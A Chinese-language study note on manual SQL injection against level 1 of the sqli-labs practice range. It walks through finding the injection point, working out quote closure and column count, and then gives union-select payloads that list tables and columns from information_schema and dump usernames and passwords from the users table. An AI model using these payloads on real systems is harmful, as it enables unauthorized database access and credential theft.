手工注入流程
1、查找注入点
2、判断注入点数据类型。方法一:减法运算 方法二: and 1=1 and 1=2
3、字符型(判断闭合方式) 数字型不用判断闭合方式
4、闭合方式 ' , ",'),''),"),"))
5、判断字段数 order by group by
6、查询回显位
7、查询数据库
8、查询表名
9、查询字段名
10、查询字段中字段值
目录
一、判断注入点
二、判断注入类型(sqli-labs靶场第一关)
使用 and 1=1 和 and 1=2 都回显正确,说明不是数字型,即字符型。
三、字符型判断闭合方式
在参数后面加入",回显正确,说明"没有起作用。
在参数后面加',回显错误,说明'带入到数据库中,从而使得闭合方式错误。
例如正确的是 'helle world' ,当你在后面加入一个',就变成 'hello world'' ,闭合错误。(单引号闭合)
四、判断字段数
当字段数为4时抱错,说明字段数为3
五、判断回显位
?id=-1' union select 1,2,3 --+
-1是让前面报错,从而使得正确的语句回显出来。
'闭合前面的单引号
union select 判断回显位
--+就是# 注释符,注释掉后面剩下的单引号,从而不让它报错。
六、判断数据库名
既然找了回显位置,就可以使用databse(),查找当前数据库名。
七、判断数据库中的表名
?id=-1' union select 1,table_name,3 from information_schema.tables where table_schema='security' limit 0,1 --+
也可使用group_concat()查询全部表名。
八、获取users表中的全部字段名
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+
九、查询字段位username、password的信息
?id=-1' union select 1,group_concat(concat('~',username,password)),3 from security.users --+
此文档只是单纯的笔记,不是教程,但是也希望能帮助到大家。
水平有限,希望大家谅解。